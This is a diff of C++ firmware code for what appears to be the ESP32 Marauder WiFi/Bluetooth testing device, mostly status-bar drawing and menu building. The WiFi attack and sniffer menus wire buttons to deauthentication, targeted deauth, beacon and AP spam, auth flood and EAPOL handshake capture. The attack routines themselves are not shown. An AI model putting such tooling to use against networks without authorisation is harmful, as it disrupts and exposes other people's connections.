+        // If we don't do this, the text and button coordinates will be off
+        display_obj.tft.init();
+  
+        // Take us back to the menu
+        changeMenu(current_menu);
+      }
+  
+      x = -1;
+      y = -1;
+  
+      return;
+    }
+
+  #endif
+
+
+  // Check if any key coordinate boxes contain the touch coordinates
+  // This is for when on a menu
+  #ifndef MARAUDER_MINI
+    if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
+        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
+    {
+      // Need this to set all keys to false
+      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) {
+        if (pressed && display_obj.key[b].contains(t_x, t_y)) {
+          display_obj.key[b].press(true);  // tell the button it is pressed
+        } else {
+          display_obj.key[b].press(false);  // tell the button it is NOT pressed
+        }
+      }
+  
+      // Check if any key has changed state
+      for (uint8_t b = 0; b < current_menu->list->size(); b++) {
+        display_obj.tft.setFreeFont(MENU_FONT);
+        if (display_obj.key[b].justPressed()) {
+          display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
+          if (current_menu->list->get(b).name != text09)
+            display_obj.tft.drawXBitmap(0,
+                                        KEY_Y + b * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
+                                        menu_icons[current_menu->list->get(b).icon],
+                                        ICON_W,
+                                        ICON_H,
+                                        current_menu->list->get(b).color,
+                                        TFT_BLACK);
+        }
+  
+        // If button was just release, execute the button's function
+        if ((display_obj.key[b].justReleased()) && (!pressed))
+        {
+          display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
+          current_menu->list->get(b).callable();
+        }
+        // This
+        else if ((display_obj.key[b].justReleased()) && (pressed)) {
+          display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
+          if (current_menu->list->get(b).name != text09)
+            display_obj.tft.drawXBitmap(0,
+                                        KEY_Y + b * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
+                                        menu_icons[current_menu->list->get(b).icon],
+                                        ICON_W,
+                                        ICON_H,
+                                        TFT_BLACK,
+                                        current_menu->list->get(b).color);
+        }
+  
+        display_obj.tft.setFreeFont(NULL);
+      }
+    }
+    x = -1;
+    y = -1;
+  #endif
+
+  #ifdef MARAUDER_MINI
+    if (u_btn.justPressed()){
+      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
+          (wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
+        if (current_menu->selected > 0) {
+          current_menu->selected--;
+          this->buttonSelected(current_menu->selected);
+          if (!current_menu->list->get(current_menu->selected + 1).selected)
+            this->buttonNotSelected(current_menu->selected + 1);
+        }
+      }
+      else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
+               (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
+        if (wifi_scan_obj.set_channel < 14)
+          wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel + 1);
+      }
+    }
+    if (d_btn.justPressed()){
+      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
+          (wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
+        if (current_menu->selected < current_menu->list->size() - 1) {
+          current_menu->selected++;
+          this->buttonSelected(current_menu->selected);
+          if (!current_menu->list->get(current_menu->selected - 1).selected)
+            this->buttonNotSelected(current_menu->selected - 1);
+        }
+      }
+      else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
+               (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
+        if (wifi_scan_obj.set_channel > 1)
+          wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel - 1);
+      }
+    }
+    if(c_btn_press){
+      current_menu->list->get(current_menu->selected).callable();
+    }
+
+  #endif
+}
+
+#if BATTERY_ANALOG_ON == 1
+byte battery_analog_array[10];
+byte battery_count = 0;
+byte battery_analog_last = 101;
+#define BATTERY_CHECK 50
+uint16_t battery_analog = 0;
+void MenuFunctions::battery(bool initial)
+{
+  if (BATTERY_ANALOG_ON) {
+    uint8_t n = 0;
+    byte battery_analog_sample[10];
+    byte deviation;
+    if (battery_count == BATTERY_CHECK - 5)  digitalWrite(BATTERY_PIN, HIGH);
+    else if (battery_count == 5) digitalWrite(BATTERY_PIN, LOW);
+    if (battery_count == 0) {
+      battery_analog = 0;
+      for (n = 9; n > 0; n--)battery_analog_array[n] = battery_analog_array[n - 1];
+      for (n = 0; n < 10; n++) {
+        battery_analog_sample[n] = map((analogRead(ANALOG_PIN) * 5), 2400, 4200, 0, 100);
+        if (battery_analog_sample[n] > 100) battery_analog_sample[n] = 100;
+        else if (battery_analog_sample[n] < 0) battery_analog_sample[n] = 0;
+        battery_analog += battery_analog_sample[n];
+      }
+      battery_analog = battery_analog / 10;
+      for (n = 0; n < 10; n++) {
+        deviation = abs(battery_analog - battery_analog_sample[n]);
+        if (deviation >= 10) battery_analog_sample[n] = battery_analog;
+      }
+      battery_analog = 0;
+      for (n = 0; n < 10; n++) battery_analog += battery_analog_sample[n];
+      battery_analog = battery_analog / 10;
+      battery_analog_array[0] = battery_analog;
+      if (battery_analog_array[9] > 0 ) {
+        battery_analog = 0;
+        for (n = 0; n < 10; n++) battery_analog += battery_analog_array[n];
+        battery_analog = battery_analog / 10;
+      }
+      battery_count ++;
+    }
+    else if (battery_count < BATTERY_CHECK) battery_count++;
+    else if (battery_count >= BATTERY_CHECK) battery_count = 0;
+
+    if (battery_analog_last != battery_analog) {
+      battery_analog_last = battery_analog;
+      MenuFunctions::battery2();
+    }
+  }
+}
+void MenuFunctions::battery2(bool initial)
+{
+  uint16_t the_color;
+  if ( digitalRead(CHARGING_PIN) == 1) the_color = TFT_BLUE;
+  else if (battery_analog < 20) the_color = TFT_RED;
+  else if (battery_analog < 40)  the_color = TFT_YELLOW;
+  else the_color = TFT_GREEN;
+
+  display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+  display_obj.tft.fillRect(186, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+  display_obj.tft.drawXBitmap(186,
+                              0,
+                              menu_icons[STATUS_BAT],
+                              16,
+                              16,
+                              STATUSBAR_COLOR,
+                              the_color);
+  display_obj.tft.drawString((String) battery_analog + "%", 204, 0, 2);
+}
+#else
+void MenuFunctions::battery(bool initial)
+{
+  uint16_t the_color;
+  if (battery_obj.i2c_supported)
+  {
+    // Could use int compare maybe idk
+    if (((String)battery_obj.battery_level != "25") && ((String)battery_obj.battery_level != "0"))
+      the_color = TFT_GREEN;
+    else
+      the_color = TFT_RED;
+
+    if ((battery_obj.battery_level != battery_obj.old_level) || (initial)) {
+      battery_obj.old_level = battery_obj.battery_level;
+      display_obj.tft.fillRect(204, 0, SCREEN_WIDTH, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+      display_obj.tft.setCursor(0, 1);
+      display_obj.tft.drawXBitmap(186,
+                                  0,
+                                  menu_icons[STATUS_BAT],
+                                  16,
+                                  16,
+                                  STATUSBAR_COLOR,
+                                  the_color);
+      display_obj.tft.drawString((String)battery_obj.battery_level + "%", 204, 0, 2);
+    }
+  }
+}
+void MenuFunctions::battery2(bool initial)
+{
+  MenuFunctions::battery(initial);
+}
+#endif
+
+void MenuFunctions::updateStatusBar()
+{
+  display_obj.tft.setTextSize(1);
+  
+  #ifdef MARAUDER_MINI
+    display_obj.tft.setFreeFont(NULL);
+  #endif
+  
+  uint16_t the_color; 
+
+  // Draw temp info
+  if (temp_obj.current_temp < 70)
+    the_color = TFT_GREEN;
+  else if ((temp_obj.current_temp >= 70) && (temp_obj.current_temp < 80))
+    the_color = TFT_YELLOW;
+  else if ((temp_obj.current_temp >= 80) && (temp_obj.current_temp < 90))
+    the_color = TFT_ORANGE;
+  else if ((temp_obj.current_temp >= 90) && (temp_obj.current_temp < 100))
+    the_color = TFT_RED;
+  else
+    the_color = TFT_MAROON;
+
+  display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+  if (temp_obj.current_temp != temp_obj.old_temp) {
+    temp_obj.old_temp = temp_obj.current_temp;
+    display_obj.tft.fillRect(0, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.drawString((String)temp_obj.current_temp + " C", 4, 0, 2);
+    #endif
+
+    #ifdef MARAUDER_MINI
+      display_obj.tft.drawString((String)temp_obj.current_temp + " C", 0, 0, 1);
+    #endif
+  }
+  display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+  // WiFi Channel Stuff
+  if (wifi_scan_obj.set_channel != wifi_scan_obj.old_channel) {
+    wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
+    display_obj.tft.fillRect(50, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
+    #endif
+
+    #ifdef MARAUDER_MINI
+      display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
+    #endif
+  }
+
+  // RAM Stuff
+  wifi_scan_obj.freeRAM();
+  if (wifi_scan_obj.free_ram != wifi_scan_obj.old_free_ram) {
+    wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
+    display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
+    #endif
+
+    #ifdef MARAUDER_MINI
+      display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
+    #endif
+  }
+
+  // Draw battery info
+  MenuFunctions::battery(false);
+
+  // Draw SD info
+  if (sd_obj.supported)
+    the_color = TFT_GREEN;
+  else
+    the_color = TFT_RED;
+
+  #ifndef MARAUDER_MINI
+    display_obj.tft.drawXBitmap(170,
+                                0,
+                                menu_icons[STATUS_SD],
+                                16,
+                                16,
+                                STATUSBAR_COLOR,
+                                the_color);
+  #endif
+
+  #ifdef MARAUDER_MINI
+    display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+    display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
+  #endif
+}
+
+void MenuFunctions::drawStatusBar()
+{
+  display_obj.tft.setTextSize(1);
+  #ifdef MARAUDER_MINI
+    display_obj.tft.setFreeFont(NULL);
+  #endif
+  display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+  //display_obj.tft.fillRect(0, STATUS_BAR_WIDTH + 1, 240, 1, TFT_DARKGREY);
+  display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+  //display_obj.tft.setTextSize(2);
+
+  uint16_t the_color;
+
+  // Draw temp info
+  if (temp_obj.current_temp < 70)
+    the_color = TFT_GREEN;
+  else if ((temp_obj.current_temp >= 70) && (temp_obj.current_temp < 80))
+    the_color = TFT_YELLOW;
+  else if ((temp_obj.current_temp >= 80) && (temp_obj.current_temp < 90))
+    the_color = TFT_ORANGE;
+  else if ((temp_obj.current_temp >= 90) && (temp_obj.current_temp < 100))
+    the_color = TFT_RED;
+  else
+    the_color = TFT_MAROON;
+
+  display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+  temp_obj.old_temp = temp_obj.current_temp;
+  display_obj.tft.fillRect(0, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+  #ifndef MARAUDER_MINI
+    display_obj.tft.drawString((String)temp_obj.current_temp + " C", 4, 0, 2);
+  #endif
+
+  #ifdef MARAUDER_MINI
+    display_obj.tft.drawString((String)temp_obj.current_temp + " C", 0, 0, 1);
+  #endif
+  display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+
+  // WiFi Channel Stuff
+  wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
+  display_obj.tft.fillRect(50, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+  #ifndef MARAUDER_MINI
+    display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
+  #endif
+
+  #ifdef MARAUDER_MINI
+    display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
+  #endif
+
+  // RAM Stuff
+  wifi_scan_obj.freeRAM();
+  wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
+  display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+  #ifndef MARAUDER_MINI
+    display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
+  #endif
+
+  #ifdef MARAUDER_MINI
+    display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
+  #endif
+
+
+  MenuFunctions::battery2(true);
+
+  // Draw SD info
+  if (sd_obj.supported)
+    the_color = TFT_GREEN;
+  else
+    the_color = TFT_RED;
+
+  #ifndef MARAUDER_MINI
+    display_obj.tft.drawXBitmap(170,
+                                0,
+                                menu_icons[STATUS_SD],
+                                16,
+                                16,
+                                STATUSBAR_COLOR,
+                                the_color);
+  #endif
+
+  #ifdef MARAUDER_MINI
+    display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+    display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
+  #endif
+}
+
+void MenuFunctions::orientDisplay()
+{
+  display_obj.tft.init();
+
+  display_obj.tft.setRotation(0); // Portrait
+
+  display_obj.tft.setCursor(0, 0);
+
+  #ifndef MARAUDER_MINI
+    #ifdef TFT_SHIELD
+      uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
+      //Serial.println("Using TFT Shield");
+    #else if defined(TFT_DIY)
+      uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; // tft.setRotation(0); // Portrait with DIY TFT
+      //Serial.println("Using TFT DIY");
+    #endif
+
+    display_obj.tft.setTouch(calData);
+  #endif
+
+  changeMenu(current_menu);
+}
+
+void MenuFunctions::runBoolSetting(String key) {
+  //Serial.println("Building bool setting screen...");
+  display_obj.tftDrawRedOnOffButton();
+  //display_obj.tftDrawGreenOnOffButton();
+}
+
+String MenuFunctions::callSetting(String key) {
+  specSettingMenu.name = key;
+  
+  String setting_type = settings_obj.getSettingType(key);
+
+  if (setting_type == "bool") {
+    return "bool";
+  }
+}
+
+void MenuFunctions::displaySetting(String key, Menu* menu, int index) {
+  specSettingMenu.name = key;
+
+  bool setting_value = settings_obj.loadSetting<bool>(key);
+
+  // Make a local copy of menu node
+  MenuNode node = menu->list->get(index);
+
+  display_obj.tft.setTextWrap(false);
+  display_obj.tft.setFreeFont(NULL);
+  display_obj.tft.setCursor(0, 100);
+  display_obj.tft.setTextSize(1);
+
+  // Set local copy value
+  if (!setting_value) {
+    display_obj.tft.setTextColor(TFT_RED);
+    display_obj.tft.println(F(text_table1[4]));
+    node.selected = false;
+  }
+  else {
+    display_obj.tft.setTextColor(TFT_GREEN);
+    display_obj.tft.println(F(text_table1[5]));
+    node.selected = true;
+  }
+
+  // Put local copy back into menu
+  menu->list->set(index, node);
+    
+}
+
+
+// Function to build the menus
+void MenuFunctions::RunSetup()
+{
+  extern LinkedList<AccessPoint>* access_points;
+  
+  #ifndef MARAUDER_MINI
+    this->initLVGL();
+  #endif
+   
+  // root menu stuff
+  mainMenu.list = new LinkedList<MenuNode>(); // Get list in first menu ready
+
+  // Main menu stuff
+  wifiMenu.list = new LinkedList<MenuNode>(); // Get list in second menu ready
+  bluetoothMenu.list = new LinkedList<MenuNode>(); // Get list in third menu ready
+  badusbMenu.list = new LinkedList<MenuNode>();
+  generalMenu.list = new LinkedList<MenuNode>();
+  deviceMenu.list = new LinkedList<MenuNode>();
+
+  // Device menu stuff
+  failedUpdateMenu.list = new LinkedList<MenuNode>();
+  whichUpdateMenu.list = new LinkedList<MenuNode>();
+  confirmMenu.list = new LinkedList<MenuNode>();
+  espUpdateMenu.list = new LinkedList<MenuNode>();
+  updateMenu.list = new LinkedList<MenuNode>();
+  settingsMenu.list = new LinkedList<MenuNode>();
+  specSettingMenu.list = new LinkedList<MenuNode>();
+  infoMenu.list = new LinkedList<MenuNode>();
+  languageMenu.list = new LinkedList<MenuNode>();
+
+  // WiFi menu stuff
+  wifiSnifferMenu.list = new LinkedList<MenuNode>();
+  wifiAttackMenu.list = new LinkedList<MenuNode>();
+  wifiGeneralMenu.list = new LinkedList<MenuNode>();
+  wifiAPMenu.list = new LinkedList<MenuNode>();
+
+  // Bluetooth menu stuff
+  bluetoothSnifferMenu.list = new LinkedList<MenuNode>();
+  bluetoothGeneralMenu.list = new LinkedList<MenuNode>();
+
+  // Settings stuff
+  shutdownWiFiMenu.list = new LinkedList<MenuNode>();
+  shutdownBLEMenu.list = new LinkedList<MenuNode>();
+  generateSSIDsMenu.list = new LinkedList<MenuNode>();
+  clearSSIDsMenu.list = new LinkedList<MenuNode>();
+  clearAPsMenu.list = new LinkedList<MenuNode>();
+
+  // Work menu names
+  mainMenu.name = text_table1[6];
+  wifiMenu.name = text_table1[7];
+  badusbMenu.name = text_table1[8];
+  deviceMenu.name = text_table1[9];
+  generalMenu.name = text_table1[10];
+  failedUpdateMenu.name = text_table1[11];
+  whichUpdateMenu.name = text_table1[12];
+  confirmMenu.name = text_table1[13];
+  espUpdateMenu.name = text_table1[14];
+  updateMenu.name = text_table1[15];
+  languageMenu.name = text_table1[16]; 
+  infoMenu.name = text_table1[17];
+  settingsMenu.name = text_table1[18];
+  bluetoothMenu.name = text_table1[19];
+  wifiSnifferMenu.name = text_table1[20];
+  wifiAttackMenu.name = text_table1[21];
+  wifiGeneralMenu.name = text_table1[22];
+  bluetoothSnifferMenu.name = text_table1[23];
+  bluetoothGeneralMenu.name = text_table1[24];
+  shutdownWiFiMenu.name = text_table1[25];
+  shutdownBLEMenu.name = text_table1[26];
+  generateSSIDsMenu.name = text_table1[27];
+  clearSSIDsMenu.name = text_table1[28];
+  clearAPsMenu.name = text_table1[29];
+  wifiAPMenu.name = "Access Points";
+  
+
+  // Build Main Menu
+  mainMenu.parentMenu = NULL;
+  addNodes(&mainMenu, text_table1[7], TFT_GREEN, NULL, WIFI, [this]() {
+    changeMenu(&wifiMenu);
+  });
+  addNodes(&mainMenu, text_table1[19], TFT_CYAN, NULL, BLUETOOTH, [this]() {
+    changeMenu(&bluetoothMenu);
+  });
+  if (a32u4_obj.supported) addNodes(&mainMenu, text_table1[8], TFT_RED, NULL, BAD_USB_ICO, [this]() {
+    changeMenu(&badusbMenu);
+  });
+  addNodes(&mainMenu, text_table1[10], TFT_MAGENTA, NULL, GENERAL_APPS, [this]() {
+    changeMenu(&generalMenu);
+  });
+  addNodes(&mainMenu, text_table1[9], TFT_BLUE, NULL, DEVICE, [this]() {
+    changeMenu(&deviceMenu);
+  });
+  addNodes(&mainMenu, text_table1[30], TFT_LIGHTGREY, NULL, REBOOT, []() {
+    ESP.restart();
+  });
+
+  // Build WiFi Menu
+  wifiMenu.parentMenu = &mainMenu; // Main Menu is second menu parent
+  addNodes(&wifiMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(wifiMenu.parentMenu);
+  });
+  addNodes(&wifiMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
+    changeMenu(&wifiSnifferMenu);
+  });
+  //addNodes(&wifiMenu, "Scanners", TFT_ORANGE, NULL, SCANNERS, [this]() {
+  //  changeMenu(&wifiScannerMenu);
+  //});
+  addNodes(&wifiMenu, text_table1[32], TFT_RED, NULL, ATTACKS, [this]() {
+    changeMenu(&wifiAttackMenu);
+  });
+  addNodes(&wifiMenu, text_table1[33], TFT_PURPLE, NULL, GENERAL_APPS, [this]() {
+    changeMenu(&wifiGeneralMenu);
+  });
+
+  // Build WiFi sniffer Menu
+  wifiSnifferMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
+  addNodes(&wifiSnifferMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(wifiSnifferMenu.parentMenu);
+  });
+  addNodes(&wifiSnifferMenu, text_table1[42], TFT_CYAN, NULL, PROBE_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_PROBE, TFT_CYAN);
+  });
+  addNodes(&wifiSnifferMenu, text_table1[43], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_AP, TFT_MAGENTA);
+  });
+  addNodes(&wifiSnifferMenu, text_table1[44], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
+  });
+  #ifndef MARAUDER_MINI
+    addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
+      wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+    });
+    addNodes(&wifiSnifferMenu, text_table1[45], TFT_BLUE, NULL, PACKET_MONITOR, [this]() {
+      wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
+    });
+  #else
+    addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
+      display_obj.clearScreen();
+      this->drawStatusBar();
+      wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+    });
+    addNodes(&wifiSnifferMenu, text_table1[45], TFT_BLUE, NULL, PACKET_MONITOR, [this]() {
+      display_obj.clearScreen();
+      this->drawStatusBar();
+      wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
+    });
+  #endif
+  addNodes(&wifiSnifferMenu, text_table1[47], TFT_RED, NULL, PWNAGOTCHI, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
+  });
+  /*addNodes(&wifiSnifferMenu, text_table1[48], TFT_ORANGE, NULL, ESPRESSIF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
+  });*/
+  addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
+  });
+  addNodes(&wifiSnifferMenu, text_table1[58], TFT_WHITE, NULL, PACKET_MONITOR, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
+  });
+  addNodes(&wifiSnifferMenu, text_table1[59], TFT_ORANGE, NULL, PACKET_MONITOR, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_WHITE);
+  });
+
+  // Build WiFi attack menu
+  wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
+  addNodes(&wifiAttackMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(wifiAttackMenu.parentMenu);
+  });
+  addNodes(&wifiAttackMenu, text_table1[50], TFT_RED, NULL, BEACON_LIST, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_LIST, TFT_RED);
+  });
+  addNodes(&wifiAttackMenu, text_table1[51], TFT_ORANGE, NULL, BEACON_SPAM, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_SPAM, TFT_ORANGE);
+  });
+  addNodes(&wifiAttackMenu, text_table1[52], TFT_YELLOW, NULL, RICK_ROLL, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
+  });
+  addNodes(&wifiAttackMenu, text_table1[53], TFT_RED, NULL, PROBE_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
+  });
+  addNodes(&wifiAttackMenu, text_table1[54], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
+  });
+  addNodes(&wifiAttackMenu, text_table1[57], TFT_MAGENTA, NULL, BEACON_LIST, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
+  });
+  addNodes(&wifiAttackMenu, text_table1[62], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
+  });
+  //addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() {
+  //  display_obj.clearScreen();
+  //  this->drawStatusBar();
+  //  wifi_scan_obj.StartScan(WIFI_ATTACK_MIMIC, TFT_PURPLE);
+  //});
+
+  // Build WiFi General menu
+  wifiGeneralMenu.parentMenu = &wifiMenu;
+  addNodes(&wifiGeneralMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(wifiGeneralMenu.parentMenu);
+  });
+  #ifndef MARAUDER_MINI
+    addNodes(&wifiGeneralMenu, text_table1[55], TFT_DARKCYAN, NULL, JOIN_WIFI, [this](){
+      display_obj.clearScreen(); 
+      wifi_scan_obj.currentScanMode = LV_JOIN_WIFI; 
+      wifi_scan_obj.StartScan(LV_JOIN_WIFI, TFT_YELLOW); 
+      joinWiFiGFX();
+    });
+  #endif
+  addNodes(&wifiGeneralMenu, text_table1[25], TFT_CYAN, NULL, SHUTDOWN, [this]() {
+    changeMenu(&shutdownWiFiMenu);
+    wifi_scan_obj.RunShutdownWiFi();
+  });
+  addNodes(&wifiGeneralMenu, text_table1[27], TFT_SKYBLUE, NULL, GENERATE, [this]() {
+    changeMenu(&generateSSIDsMenu);
+    wifi_scan_obj.RunGenerateSSIDs();
+  });
+  #ifndef MARAUDER_MINI
+    addNodes(&wifiGeneralMenu, text_table1[1], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+      display_obj.clearScreen(); 
+      //wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
+      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_YELLOW); 
+      addSSIDGFX();
+    });
+  #endif
+  addNodes(&wifiGeneralMenu, text_table1[28], TFT_SILVER, NULL, CLEAR_ICO, [this]() {
+    changeMenu(&clearSSIDsMenu);
+    wifi_scan_obj.RunClearSSIDs();
+  });
+  addNodes(&wifiGeneralMenu, text_table1[29], TFT_DARKGREY, NULL, CLEAR_ICO, [this]() {
+    changeMenu(&clearAPsMenu);
+    wifi_scan_obj.RunClearAPs();
+  });
+  addNodes(&wifiGeneralMenu, text_table1[60], TFT_BLUE, NULL, CLEAR_ICO, [this]() {
+    changeMenu(&clearAPsMenu);
+    wifi_scan_obj.RunClearStations();
+  });
+  #ifndef MARAUDER_MINI
+    // Select APs on OG
+    addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+      display_obj.clearScreen(); 
+      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
+      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
+      addAPGFX();
+    });
+    addNodes(&wifiGeneralMenu, text_table1[61], TFT_LIGHTGREY, NULL, KEYBOARD_ICO, [this](){
+      display_obj.clearScreen(); 
+      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
+      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
+      addStationGFX();
+    });
+  #else
+    // Select APs on Mini
+    addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+      wifiAPMenu.list->clear();
+        addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+        changeMenu(wifiAPMenu.parentMenu);
+      });
+      int menu_limit;
+      if (access_points->size() <= BUTTON_ARRAY_LEN)
+        menu_limit = access_points->size();
+      else
+        menu_limit = BUTTON_ARRAY_LEN;
+      for (int i = 0; i < menu_limit - 1; i++) {
+        addNodes(&wifiAPMenu, access_points->get(i).essid, TFT_CYAN, NULL, KEYBOARD_ICO, [this, i](){
+        AccessPoint new_ap = access_points->get(i);
+        new_ap.selected = !access_points->get(i).selected;
+
+        // Change selection status of menu node
+        MenuNode new_node = current_menu->list->get(i + 1);
+        new_node.selected = !current_menu->list->get(i + 1).selected;
+        current_menu->list->set(i + 1, new_node);
+
+        // Change selection status of button key
